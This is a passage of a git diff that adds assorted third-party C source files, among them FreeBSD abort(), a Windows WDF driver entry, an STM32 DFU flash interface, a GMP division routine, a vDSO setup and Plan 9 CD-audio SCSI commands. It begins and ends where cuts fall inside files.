+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ * 4. Neither the name of the University nor the names of its contributors
+ *    may be used to endorse or promote products derived from this software
+ *    without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED.  IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ */
+
+#if defined(LIBC_SCCS) && !defined(lint)
+static char sccsid[] = "@(#)abort.c	8.1 (Berkeley) 6/4/93";
+#endif /* LIBC_SCCS and not lint */
+#include <sys/cdefs.h>
+__FBSDID("$FreeBSD: release/8.2.0/lib/libc/stdlib/abort.c 165903 2007-01-09 00:28:16Z imp $");
+
+#include "namespace.h"
+#include <signal.h>
+#include <stdlib.h>
+#include <stddef.h>
+#include <unistd.h>
+#include <pthread.h>
+#include "un-namespace.h"
+
+#include "libc_private.h"
+
+void
+abort()
+{
+	struct sigaction act;
+
+	/*
+	 * POSIX requires we flush stdio buffers on abort.
+	 * XXX ISO C requires that abort() be async-signal-safe.
+	 */
+	if (__cleanup)
+		(*__cleanup)();
+
+	sigfillset(&act.sa_mask);
+	/*
+	 * Don't block SIGABRT to give any handler a chance; we ignore
+	 * any errors -- ISO C doesn't allow abort to return anyway.
+	 */
+	sigdelset(&act.sa_mask, SIGABRT);
+	(void)_sigprocmask(SIG_SETMASK, &act.sa_mask, NULL);
+	(void)raise(SIGABRT);
+
+	/*
+	 * If SIGABRT was ignored, or caught and the handler returns, do
+	 * it again, only harder.
+	 */
+	act.sa_handler = SIG_DFL;
+	act.sa_flags = 0;
+	sigfillset(&act.sa_mask);
+	(void)_sigaction(SIGABRT, &act, NULL);
+	sigdelset(&act.sa_mask, SIGABRT);
+	(void)_sigprocmask(SIG_SETMASK, &act.sa_mask, NULL);
+	(void)raise(SIGABRT);
+	exit(1);
+}
diff --git a/pool/shard001/C/0025850_Driver.c b/pool/shard001/C/0025850_Driver.c
new file mode 100644
index 0000000000000000000000000000000000000000..057bd24310f61fe5a98601c1abf707060292d901
--- /dev/null
+++ b/pool/shard001/C/0025850_Driver.c
@@ -0,0 +1,111 @@
+/*++
+Copyright (c) Microsoft Corporation
+
+Module Name: Driver.c
+
+Abstract: Radio manager driver main file. 
+
+History: 
+          4/9/2009: Created by senxiang
+--*/
+
+#include "driver.h"
+#include "device.h"
+#include "trace.h"
+
+#ifdef EVENT_TRACING
+#include "driver.tmh"
+#endif
+
+#pragma alloc_text (INIT, DriverEntry)
+#pragma alloc_text (PAGE, PCIEEvtDriverContextCleanup)
+
+/*++
+
+Routine Description:
+
+Driver initialization entry point.
+This entry point is called directly by the I/O system.
+
+Arguments:
+
+DriverObject - pointer to the driver object
+
+RegistryPath - pointer to a unicode string representing the path,
+to driver-specific key in the registry.
+
+Return Value:
+
+NTSTATUS    - if the status value is not STATUS_SUCCESS,
+the driver will get unloaded immediately.
+
+--*/
+NTSTATUS
+DriverEntry(
+    IN PDRIVER_OBJECT  DriverObject,
+    IN PUNICODE_STRING RegistryPath
+    )
+{
+    NTSTATUS                Status = STATUS_SUCCESS;
+    WDF_DRIVER_CONFIG       Config;
+    WDF_OBJECT_ATTRIBUTES   Attributes;
+
+    WPP_INIT_TRACING(DriverObject,RegistryPath);
+    
+    TraceEvents(
+        TRACE_LEVEL_INFORMATION, 
+        DBG_INIT, 
+        "--> DriverEntry \n");
+
+    WDF_DRIVER_CONFIG_INIT( &Config, PCIEEvtDeviceAdd );
+    
+    WDF_OBJECT_ATTRIBUTES_INIT(&Attributes);
+    Attributes.EvtCleanupCallback = PCIEEvtDriverContextCleanup;
+    
+    Status = WdfDriverCreate( 
+                DriverObject,
+                RegistryPath,
+                &Attributes,
+                &Config,
+                WDF_NO_HANDLE);
+
+    TraceEvents(
+        TRACE_LEVEL_INFORMATION, 
+        DBG_INIT, 
+        "<-- DriverEntry \n");
+    return Status;
+}
+
+/*++
+Routine Description:
+
+    Free all the resources allocated in DriverEntry.
+
+Arguments:
+
+    Driver - handle to a WDF Driver object.
+
+Return Value:
+
+    VOID.
+
+--*/
+
+VOID PCIEEvtDriverContextCleanup( IN WDFDRIVER Driver)
+{
+    UNREFERENCED_PARAMETER(Driver);
+    
+    PAGED_CODE ();
+
+    TraceEvents(
+        TRACE_LEVEL_INFORMATION, 
+        DBG_INIT, 
+        "--> PCIEEvtDriverContextCleanup \n");
+
+    WPP_CLEANUP( WdfDriverWdmGetDriverObject( Driver ) );
+
+    TraceEvents(
+        TRACE_LEVEL_INFORMATION, 
+        DBG_INIT, 
+        "<-- PCIEEvtDriverContextCleanup \n");
+}
\ No newline at end of file
diff --git a/pool/shard001/C/0025878_usbd_flash_if.c b/pool/shard001/C/0025878_usbd_flash_if.c
new file mode 100644
index 0000000000000000000000000000000000000000..7211b2aaaf9f1545cd54f153fd006df8b6576854
--- /dev/null
+++ b/pool/shard001/C/0025878_usbd_flash_if.c
@@ -0,0 +1,194 @@
+/**
+  ******************************************************************************
+  * @file    usbd_flash_if.c
+  * @author  MCD Application Team
+  * @version V1.1.0
+  * @date    19-March-2012
+  * @brief   Specific media access Layer for internal flash.
+  ******************************************************************************
+  * @attention
+  *
+  * <h2><center>&copy; COPYRIGHT 2012 STMicroelectronics</center></h2>
+  *
+  * Licensed under MCD-ST Liberty SW License Agreement V2, (the "License");
+  * You may not use this file except in compliance with the License.
+  * You may obtain a copy of the License at:
+  *
+  *        http://www.st.com/software_license_agreement_liberty_v2
+  *
+  * Unless required by applicable law or agreed to in writing, software
+  * distributed under the License is distributed on an "AS IS" BASIS,
+  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  * See the License for the specific language governing permissions and
+  * limitations under the License.
+  *
+  ******************************************************************************
+  */
+
+/* Includes ------------------------------------------------------------------*/
+#include "usbd_flash_if.h"
+#include "usbd_dfu_mal.h"
+
+/* Private typedef -----------------------------------------------------------*/
+/* Private define ------------------------------------------------------------*/
+/* Private macro -------------------------------------------------------------*/
+
+/* Private function prototypes -----------------------------------------------*/
+uint16_t FLASH_If_Init(void);
+uint16_t FLASH_If_Erase (uint32_t Add);
+uint16_t FLASH_If_Write (uint32_t Add, uint32_t Len);
+uint8_t *FLASH_If_Read  (uint32_t Add, uint32_t Len);
+uint16_t FLASH_If_DeInit(void);
+uint16_t FLASH_If_CheckAdd(uint32_t Add);
+
+
+/* Private variables ---------------------------------------------------------*/
+DFU_MAL_Prop_TypeDef DFU_Flash_cb = {
+        FLASH_IF_STRING,
+        FLASH_If_Init,
+        FLASH_If_DeInit,
+        FLASH_If_Erase,
+        FLASH_If_Write,
+        FLASH_If_Read,
+        FLASH_If_CheckAdd,
+        50, /* Erase Time in ms */
+        50  /* Programming Time in ms */
+};
+
+/* Private functions ---------------------------------------------------------*/
+
+/**
+  * @brief  FLASH_If_Init
+  *         Memory initialization routine.
+  * @param  None
+  * @retval MAL_OK if operation is successeful, MAL_FAIL else.
+  */
+uint16_t FLASH_If_Init(void)
+{
+        /* Unlock the internal flash */
+        FLASH_Unlock();
+
+        return MAL_OK;
+}
+
+/**
+  * @brief  FLASH_If_DeInit
+  *         Memory deinitialization routine.
+  * @param  None
+  * @retval MAL_OK if operation is successeful, MAL_FAIL else.
+  */
+uint16_t FLASH_If_DeInit(void)
+{
+        /* Lock the internal flash */
+        FLASH_Lock();
+
+        return MAL_OK;
+}
+
+/*******************************************************************************
+* Function Name  : FLASH_If_Erase
+* Description    : Erase sector
+* Input          : None
+* Output         : None
+* Return         : None
+*******************************************************************************/
+uint16_t FLASH_If_Erase(uint32_t Add)
+{
+#if defined (STM32F2XX) || defined (STM32F4XX)
+        /* Check which sector has to be erased */
+        if (Add < 0x08004000) {
+                FLASH_EraseSector(FLASH_Sector_0, VoltageRange_3);
+        } else if (Add < 0x08008000) {
+                FLASH_EraseSector(FLASH_Sector_1, VoltageRange_3);
+        } else if (Add < 0x0800C000) {
+                FLASH_EraseSector(FLASH_Sector_2, VoltageRange_3);
+        } else if (Add < 0x08010000) {
+                FLASH_EraseSector(FLASH_Sector_3, VoltageRange_3);
+        } else if (Add < 0x08020000) {
+                FLASH_EraseSector(FLASH_Sector_4, VoltageRange_3);
+        } else if (Add < 0x08040000) {
+                FLASH_EraseSector(FLASH_Sector_5, VoltageRange_3);
+        } else if (Add < 0x08060000) {
+                FLASH_EraseSector(FLASH_Sector_6, VoltageRange_3);
+        } else if (Add < 0x08080000) {
+                FLASH_EraseSector(FLASH_Sector_7, VoltageRange_3);
+        } else if (Add < 0x080A0000) {
+                FLASH_EraseSector(FLASH_Sector_8, VoltageRange_3);
+        } else if (Add < 0x080C0000) {
+                FLASH_EraseSector(FLASH_Sector_9, VoltageRange_3);
+        } else if (Add < 0x080E0000) {
+                FLASH_EraseSector(FLASH_Sector_10, VoltageRange_3);
+        } else if (Add < 0x08100000) {
+                FLASH_EraseSector(FLASH_Sector_11, VoltageRange_3);
+        } else {
+                return MAL_FAIL;
+        }
+#elif defined(STM32F10X_CL)
+        /* Call the standard Flash erase function */
+        FLASH_ErasePage(Add);
+#endif /* STM32F2XX */
+
+        return MAL_OK;
+}
+
+/**
+  * @brief  FLASH_If_Write
+  *         Memory write routine.
+  * @param  Add: Address to be written to.
+  * @param  Len: Number of data to be written (in bytes).
+  * @retval MAL_OK if operation is successeful, MAL_FAIL else.
+  */
+uint16_t FLASH_If_Write(uint32_t Add, uint32_t Len)
+{
+        uint32_t idx = 0;
+
+        if  (Len & 0x3) { /* Not an aligned data */
+                for (idx = Len; idx < ((Len & 0xFFFC) + 4); idx++) {
+                        MAL_Buffer[idx] = 0xFF;
+                }
+        }
+
+        /* Data received are Word multiple */
+        for (idx = 0; idx <  Len; idx = idx + 4) {
+                FLASH_ProgramWord(Add, *(uint32_t *)(MAL_Buffer + idx));
+                Add += 4;
+        }
+        return MAL_OK;
+}
+
+/**
+  * @brief  FLASH_If_Read
+  *         Memory read routine.
+  * @param  Add: Address to be read from.
+  * @param  Len: Number of data to be read (in bytes).
+  * @retval Pointer to the phyisical address where data should be read.
+  */
+uint8_t *FLASH_If_Read (uint32_t Add, uint32_t Len)
+{
+#ifdef USB_OTG_HS_INTERNAL_DMA_ENABLED
+        uint32_t idx = 0;
+        for (idx = 0; idx < Len; idx += 4) {
+                *(uint32_t*)(MAL_Buffer + idx) = *(uint32_t *)(Add + idx);
+        }
+        return (uint8_t*)(MAL_Buffer);
+#else
+        return  (uint8_t *)(Add);
+#endif /* USB_OTG_HS_INTERNAL_DMA_ENABLED */
+}
+
+/**
+  * @brief  FLASH_If_CheckAdd
+  *         Check if the address is an allowed address for this memory.
+  * @param  Add: Address to be checked.
+  * @param  Len: Number of data to be read (in bytes).
+  * @retval MAL_OK if the address is allowed, MAL_FAIL else.
+  */
+uint16_t FLASH_If_CheckAdd(uint32_t Add)
+{
+        if ((Add >= FLASH_START_ADD) && (Add < FLASH_END_ADD)) {
+                return MAL_OK;
+        } else {
+                return MAL_FAIL;
+        }
+}
+/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/
diff --git a/pool/shard001/C/0025882_cdiv_q.c b/pool/shard001/C/0025882_cdiv_q.c
new file mode 100644
index 0000000000000000000000000000000000000000..4f00227decb60b005bb11574df9b3dfec55437d2
--- /dev/null
+++ b/pool/shard001/C/0025882_cdiv_q.c
@@ -0,0 +1,43 @@
+/* mpz_cdiv_q -- Division rounding the quotient towards +infinity.  The
+   remainder gets the opposite sign as the denominator.
+
+Copyright 1994, 1995, 1996, 2000, 2001, 2005, 2012 Free Software Foundation,
+Inc.
+
+This file is part of the GNU MP Library.
+
+The GNU MP Library is free software; you can redistribute it and/or modify
+it under the terms of the GNU Lesser General Public License as published by
+the Free Software Foundation; either version 3 of the License, or (at your
+option) any later version.
+
+The GNU MP Library is distributed in the hope that it will be useful, but
+WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
+or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU Lesser General Public
+License for more details.
+
+You should have received a copy of the GNU Lesser General Public License
+along with the GNU MP Library.  If not, see http://www.gnu.org/licenses/.  */
+
+#include "gmp.h"
+#include "gmp-impl.h"
+
+void
+mpz_cdiv_q (mpz_ptr quot, mpz_srcptr dividend, mpz_srcptr divisor)
+{
+  mp_size_t dividend_size = SIZ (dividend);
+  mp_size_t divisor_size = SIZ (divisor);
+  mpz_t rem;
+  TMP_DECL;
+
+  TMP_MARK;
+
+  MPZ_TMP_INIT (rem, ABS (divisor_size));
+
+  mpz_tdiv_qr (quot, rem, dividend, divisor);
+
+  if ((divisor_size ^ dividend_size) >= 0 && SIZ (rem) != 0)
+    mpz_add_ui (quot, quot, 1L);
+
+  TMP_FREE;
+}
diff --git a/pool/shard001/C/0025887_vdso.c b/pool/shard001/C/0025887_vdso.c
new file mode 100644
index 0000000000000000000000000000000000000000..6d0e57b9d71351493a2bc8a545728adffcd26241
--- /dev/null
+++ b/pool/shard001/C/0025887_vdso.c
@@ -0,0 +1,171 @@
+/*
+ * VDSO implementation for AArch32. Derived from arm64/kernel/vdso.c
+ *
+ * Copyright (c) 2009-2014, NVIDIA CORPORATION.  All rights reserved.
+ * Original Copyright (C) 2012 ARM Limited
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License version 2 as
+ * published by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program.  If not, see <http://www.gnu.org/licenses/>.
+ *
+ * Author: Will Deacon <will.deacon@arm.com>
+ */
+
+#include <linux/kernel.h>
+#include <linux/clocksource.h>
+#include <linux/elf.h>
+#include <linux/err.h>
+#include <linux/errno.h>
+#include <linux/gfp.h>
+#include <linux/mm.h>
+#include <linux/sched.h>
+#include <linux/signal.h>
+#include <linux/slab.h>
+#include <linux/timekeeper_internal.h>
+#include <linux/vmalloc.h>
+
+#include <asm/cacheflush.h>
+#include <asm/signal.h>
+#include <asm/vdso.h>
+#include <asm/vdso_datapage.h>
+
+extern char vdso32_start, vdso32_end;
+static unsigned long vdso32_pages;
+static struct page **vdso32_pagelist;
+
+
+/*
+ * The vDSO data page.
+ */
+static union {
+	struct vdso_data	data;
+	u8			page[PAGE_SIZE];
+} vdso_data_store __page_aligned_data;
+struct vdso_data *vdso_data = &vdso_data_store.data;
+
+
+static int __init vdso_init(void)
+{
+	struct page *pg;
+	char *vbase32;
+	int i, ret = 0;
+
+	vdso32_pages = (&vdso32_end - &vdso32_start) >> PAGE_SHIFT;
+	pr_info("vdso32: %ld pages (%ld code, %ld data) at base %p\n",
+		vdso32_pages + 1, vdso32_pages, 1L, &vdso32_start);
+
+	vdso32_pagelist = kzalloc(sizeof(struct page *) * (vdso32_pages + 1),
+				   GFP_KERNEL);
+	if (vdso32_pagelist == NULL) {
+		pr_err("Failed to allocate vDSO32 pagelist!\n");
+		return -ENOMEM;
+	}
+
+	/* Grab the vDSO code pages. */
+	for (i = 0; i < vdso32_pages; i++) {
+		pg = virt_to_page(&vdso32_start + i*PAGE_SIZE);
+		ClearPageReserved(pg);
+		get_page(pg);
+		vdso32_pagelist[i] = pg;
+	}
+
+	/* Sanity check the shared object header. */
+	vbase32 = vmap(vdso32_pagelist, 1, 0, PAGE_KERNEL);
+	if (vbase32 == NULL) {
+		pr_err("Failed to map vDSO pagelist!\n");
+		return -ENOMEM;
+	} else if (memcmp(vbase32, "\177ELF", 4)) {
+		pr_err("vDSO 32 is not a valid ELF object!\n");
+		ret = -EINVAL;
+		goto unmap32;
+	}
+
+	/* Grab the vDSO data page. */
+	pg = virt_to_page(vdso_data);
+	get_page(pg);
+	vdso32_pagelist[i] = pg;
+
+unmap32:
+	vunmap(vbase32);
+	return ret;
+}
+arch_initcall(vdso_init);
+
+int vdso_setup_additional_pages(struct linux_binprm *bprm,
+				int uses_interp)
+{
+	struct mm_struct *mm = current->mm;
+	unsigned long vdso_base, vdso_mapping_len;
+	struct page **local_vdso_pagelist;
+	unsigned long local_vdso_pages;
+	int ret;
+
+	local_vdso_pagelist = vdso32_pagelist;
+	local_vdso_pages = vdso32_pages;
+
+	/* Be sure to map the data page */
+	vdso_mapping_len = (local_vdso_pages + 1) << PAGE_SHIFT;
+
+	vdso_base = get_unmapped_area(NULL, 0, vdso_mapping_len, 0, 0);
+	if (IS_ERR_VALUE(vdso_base)) {
+		ret = vdso_base;
+		goto up_fail;
+	}
+	mm->context.vdso = (void *)vdso_base;
+
+	ret = install_special_mapping(mm, vdso_base, vdso_mapping_len,
+				      VM_READ|VM_EXEC|
+				      VM_MAYREAD|VM_MAYWRITE|VM_MAYEXEC,
+				      local_vdso_pagelist);
+	if (ret) {
+		mm->context.vdso = NULL;
+		goto up_fail;
+	}
+
+up_fail:
+	return ret;
+}
+
+/*
+ * Update the vDSO data page to keep in sync with kernel timekeeping.
+ */
+void update_vsyscall(struct timekeeper *tk)
+{
+	struct timespec xtime_coarse;
+	u32 use_syscall = strcmp(tk->clock->name, "arch_sys_counter");
+
+	++vdso_data->tb_seq_count;
+	smp_wmb();
+
+	xtime_coarse = __current_kernel_time();
+	vdso_data->use_syscall			= use_syscall;
+	vdso_data->xtime_coarse_sec		= xtime_coarse.tv_sec;
+	vdso_data->xtime_coarse_nsec		= xtime_coarse.tv_nsec;
+	vdso_data->wtm_clock_sec		= tk->wall_to_monotonic.tv_sec;
+	vdso_data->wtm_clock_nsec		= tk->wall_to_monotonic.tv_nsec;
+
+	if (!use_syscall) {
+		vdso_data->cs_cycle_last	= tk->clock->cycle_last;
+		vdso_data->xtime_clock_sec	= tk->xtime_sec;
+		vdso_data->xtime_clock_nsec	= tk->xtime_nsec;
+		vdso_data->cs_mult		= tk->mult;
+		vdso_data->cs_shift		= tk->shift;
+	}
+
+	smp_wmb();
+	++vdso_data->tb_seq_count;
+}
+
+void update_vsyscall_tz(void)
+{
+	vdso_data->tz_minuteswest	= sys_tz.tz_minuteswest;
+	vdso_data->tz_dsttime		= sys_tz.tz_dsttime;
+}
diff --git a/pool/shard001/C/0025888_ntgroups.c b/pool/shard001/C/0025888_ntgroups.c
new file mode 100644
index 0000000000000000000000000000000000000000..729cf07e74f0e026226374c9620ccd95f1632ba1
--- /dev/null
+++ b/pool/shard001/C/0025888_ntgroups.c
@@ -0,0 +1,186 @@
+/*
+ * Copyright (C) 2004, 2006, 2007, 2009  Internet Systems Consortium, Inc. ("ISC")
+ * Copyright (C) 2001  Internet Software Consortium.
+ *
+ * Permission to use, copy, modify, and/or distribute this software for any
+ * purpose with or without fee is hereby granted, provided that the above
+ * copyright notice and this permission notice appear in all copies.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS" AND ISC DISCLAIMS ALL WARRANTIES WITH
+ * REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
+ * AND FITNESS.  IN NO EVENT SHALL ISC BE LIABLE FOR ANY SPECIAL, DIRECT,
+ * INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
+ * LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
+ * OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
+ * PERFORMANCE OF THIS SOFTWARE.
+ */
+
+/* $Id: ntgroups.c,v 1.12 2009/09/29 23:48:04 tbox Exp $ */
+
+/*
+ * The NT Groups have two groups that are not well documented and are
+ * not normally seen: None and Everyone.  A user account belongs to
+ * any number of groups, but if it is not a member of any group then
+ * it is a member of the None Group. The None group is not listed
+ * anywhere. You cannot remove an account from the none group except
+ * by making it a member of some other group, The second group is the
+ * Everyone group.  All accounts, no matter how many groups that they
+ * belong to, also belong to the Everyone group. You cannot remove an
+ * account from the Everyone group.
+ */
+
+#ifndef UNICODE
+#define UNICODE
+#endif /* UNICODE */
+
+/*
+ * Silence warnings.
+ */
+#define _CRT_SECURE_NO_DEPRECATE 1
+
+#include <windows.h>
+#include <assert.h>
+#include <lm.h>
+
+#include <isc/ntgroups.h>
+#include <isc/result.h>
+
+#define MAX_NAME_LENGTH 256
+
+isc_result_t
+isc_ntsecurity_getaccountgroups(char *username, char **GroupList,
+				unsigned int maxgroups,
+				unsigned int *totalGroups) {
+	LPGROUP_USERS_INFO_0 pTmpBuf;
+	LPLOCALGROUP_USERS_INFO_0 pTmpLBuf;
+	DWORD i;
+	LPLOCALGROUP_USERS_INFO_0 pBuf = NULL;
+	LPGROUP_USERS_INFO_0 pgrpBuf = NULL;
+	DWORD dwLevel = 0;
+	DWORD dwFlags = LG_INCLUDE_INDIRECT;
+	DWORD dwPrefMaxLen = MAX_PREFERRED_LENGTH;
+	DWORD dwEntriesRead = 0;
+	DWORD dwTotalEntries = 0;
+	NET_API_STATUS nStatus;
+	DWORD dwTotalCount = 0;
+	size_t retlen;
+	wchar_t user[MAX_NAME_LENGTH];
+
+	retlen = mbstowcs(user, username, MAX_NAME_LENGTH);
+
+	*totalGroups = 0;
+	/*
+	 * Call the NetUserGetLocalGroups function
+	 * specifying information level 0.
+	 *
+	 * The LG_INCLUDE_INDIRECT flag specifies that the
+	 * function should also return the names of the local
+	 * groups in which the user is indirectly a member.
+	 */
+	nStatus = NetUserGetLocalGroups(NULL,
+				   user,
+				   dwLevel,
+				   dwFlags,
+				   (LPBYTE *) &pBuf,
+				   dwPrefMaxLen,
+				   &dwEntriesRead,
+				   &dwTotalEntries);
+	/*
+	 * See if the call succeeds,
+	 */
+	if (nStatus != NERR_Success) {
+		if (nStatus == ERROR_ACCESS_DENIED)
+			return (ISC_R_NOPERM);
+		if (nStatus == ERROR_MORE_DATA)
+			return (ISC_R_NOSPACE);
+		if (nStatus == NERR_UserNotFound)
+			dwEntriesRead = 0;
+	}
+
+	dwTotalCount = 0;
+	if (pBuf != NULL) {
+		pTmpLBuf = pBuf;
+		/*
+		 * Loop through the entries
+		 */
+		 for (i = 0;
+		     (i < dwEntriesRead && *totalGroups < maxgroups); i++) {
+			assert(pTmpLBuf != NULL);
+			if (pTmpLBuf == NULL)
+				break;
+			retlen = wcslen(pTmpLBuf->lgrui0_name);
+			GroupList[*totalGroups] = (char *) malloc(retlen +1);
+			if (GroupList[*totalGroups] == NULL)
+				return (ISC_R_NOMEMORY);
+
+			retlen = wcstombs(GroupList[*totalGroups],
+				 pTmpLBuf->lgrui0_name, retlen);
+			GroupList[*totalGroups][retlen] = '\0';
+			if (strcmp(GroupList[*totalGroups], "None") == 0)
+				free(GroupList[*totalGroups]);
+			else
+				(*totalGroups)++;
+			pTmpLBuf++;
+		}
+	}
+	/* Free the allocated memory. */
+	if (pBuf != NULL)
+		NetApiBufferFree(pBuf);
+
+
+	/*
+	 * Call the NetUserGetGroups function, specifying level 0.
+	 */
+	nStatus = NetUserGetGroups(NULL,
+			      user,
+			      dwLevel,
+			      (LPBYTE*)&pgrpBuf,
+			      dwPrefMaxLen,
+			      &dwEntriesRead,
+			      &dwTotalEntries);
+	/*
+	 * See if the call succeeds,
+	 */
+	if (nStatus != NERR_Success) {
+		if (nStatus == ERROR_ACCESS_DENIED)
+			return (ISC_R_NOPERM);
+		if (nStatus == ERROR_MORE_DATA)
+			return (ISC_R_NOSPACE);
+		if (nStatus == NERR_UserNotFound)
+			dwEntriesRead = 0;
+	}
+
+	if (pgrpBuf != NULL) {
+		pTmpBuf = pgrpBuf;
+		/*
+		 * Loop through the entries
+		 */
+		 for (i = 0;
+		     (i < dwEntriesRead && *totalGroups < maxgroups); i++) {
+			assert(pTmpBuf != NULL);
+
+			if (pTmpBuf == NULL)
+				break;
+			retlen = wcslen(pTmpBuf->grui0_name);
+			GroupList[*totalGroups] = (char *) malloc(retlen +1);
+			if (GroupList[*totalGroups] == NULL)
+				return (ISC_R_NOMEMORY);
+
+			retlen = wcstombs(GroupList[*totalGroups],
+				 pTmpBuf->grui0_name, retlen);
+			GroupList[*totalGroups][retlen] = '\0';
+			if (strcmp(GroupList[*totalGroups], "None") == 0)
+				free(GroupList[*totalGroups]);
+			else
+				(*totalGroups)++;
+			pTmpBuf++;
+		}
+	}
+	/*
+	 * Free the allocated memory.
+	 */
+	if (pgrpBuf != NULL)
+		NetApiBufferFree(pgrpBuf);
+
+	return (ISC_R_SUCCESS);
+}
diff --git a/pool/shard001/C/0025913_cdaudio.c b/pool/shard001/C/0025913_cdaudio.c
new file mode 100644
index 0000000000000000000000000000000000000000..fead0ada6e097ba9fcb7a65fb7c87e7f596f2d63
--- /dev/null
+++ b/pool/shard001/C/0025913_cdaudio.c
@@ -0,0 +1,168 @@
+/* 
+ * This file is part of the UCB release of Plan 9. It is subject to the license
+ * terms in the LICENSE file found in the top-level directory of this
+ * distribution and at http://akaros.cs.berkeley.edu/files/Plan9License. No
+ * part of the UCB release of Plan 9, including this file, may be copied,
+ * modified, propagated, or distributed except according to the terms contained
+ * in the LICENSE file.
+ */
+
+#include <u.h>
+#include <libc.h>
+#include <bio.h>
+#include <disk.h>
+#include "scsireq.h"
+
+extern Biobuf bout;
+
+long
+SRcdpause(ScsiReq *rp, int resume)
+{
+	uchar cmd[10];
+
+	memset(cmd, 0, sizeof(cmd));
+	cmd[0] = ScmdCDpause;
+	cmd[8] = resume;
+	rp->cmd.p = cmd;
+	rp->cmd.count = sizeof(cmd);
+	rp->data.p = cmd;
+	rp->data.count = 0;
+	rp->data.write = 1;
+	return SRrequest(rp);
+}
+
+long
+SRcdstop(ScsiReq *rp)
+{
+	uchar cmd[10];
+
+	memset(cmd, 0, sizeof(cmd));
+	cmd[0] = ScmdCDstop;
+	rp->cmd.p = cmd;
+	rp->cmd.count = sizeof(cmd);
+	rp->data.p = cmd;
+	rp->data.count = 0;
+	rp->data.write = 1;
+	return SRrequest(rp);
+}
+
+static long
+_SRcdplay(ScsiReq *rp, long lba, long length)
+{
+	uchar cmd[12];
+
+	memset(cmd, 0, sizeof(cmd));
+	cmd[0] = ScmdCDplay;
+	cmd[2] = lba>>24;
+	cmd[3] = lba>>16;
+	cmd[4] = lba>>8;
+	cmd[5] = lba;
+	cmd[6] = length>>24;
+	cmd[7] = length>>16;
+	cmd[8] = length>>8;
+	cmd[9] = length;
+	rp->cmd.p = cmd;
+	rp->cmd.count = sizeof(cmd);
+	rp->data.p = cmd;
+	rp->data.count = 0;
+	rp->data.write = 1;
+
+	return SRrequest(rp);
+}
+
+static struct {
+	int	trackno;
+	long	lba;
+	long	length;
+} tracks[100];
+static int ntracks;
+
+long
+SRcdplay(ScsiReq *rp, int raw, long start, long length)
+{
+	uchar d[100*8+4], *p;
+	int lba, n, tdl;
+
+	if(raw || start == 0)
+		return _SRcdplay(rp, start, length);
+
+	ntracks = 0;
+	if(SRTOC(rp, d, sizeof(d), 0, 0) == -1){
+		if(rp->status == STok)
+			Bprint(&bout, "\t(probably empty)\n");
+		return -1;
+	}
+	tdl = (d[0]<<8)|d[1];
+	for(p = &d[4], n = tdl-2; n; n -= 8, p += 8){
+		tracks[ntracks].trackno = p[2];
+		lba = (p[4]<<24)|(p[5]<<16)|(p[6]<<8)|p[7];
+		tracks[ntracks].lba = lba;
+		if(ntracks > 0)
+			tracks[ntracks-1].length = lba-tracks[ntracks-1].lba;
+		ntracks++;
+	}
+	if(ntracks > 0)
+		tracks[ntracks-1].length = 0xFFFFFFFF;
+
+	for(n = 0; n < ntracks; n++){
+		if(start != tracks[n].trackno)
+			continue;
+		return _SRcdplay(rp, tracks[n].lba, tracks[n].length);
+	}
+
+	return -1;
+}
+
+long
+SRcdload(ScsiReq *rp, int load, int slot)
+{
+	uchar cmd[12];
+
+	memset(cmd, 0, sizeof(cmd));
+	cmd[0] = ScmdCDload;
+	if(load)
+		cmd[4] = 0x03;
+	else
+		cmd[4] = 0x02;
+	cmd[8] = slot;
+	rp->cmd.p = cmd;
+	rp->cmd.count = sizeof(cmd);
+	rp->data.p = cmd;
+	rp->data.count = 0;
+	rp->data.write = 1;
+	return SRrequest(rp);
+}
+
+long
+SRcdstatus(ScsiReq *rp, uchar *list, int nbytes)
+{
+	uchar cmd[12];
+
+	memset(cmd, 0, sizeof(cmd));
+	cmd[0] = ScmdCDstatus;
+	cmd[8] = nbytes>>8;
+	cmd[9] = nbytes;
+	rp->cmd.p = cmd;
+	rp->cmd.count = sizeof(cmd);
+	rp->data.p = list;
+	rp->data.count = nbytes;
+	rp->data.write = 0;
+	return SRrequest(rp);
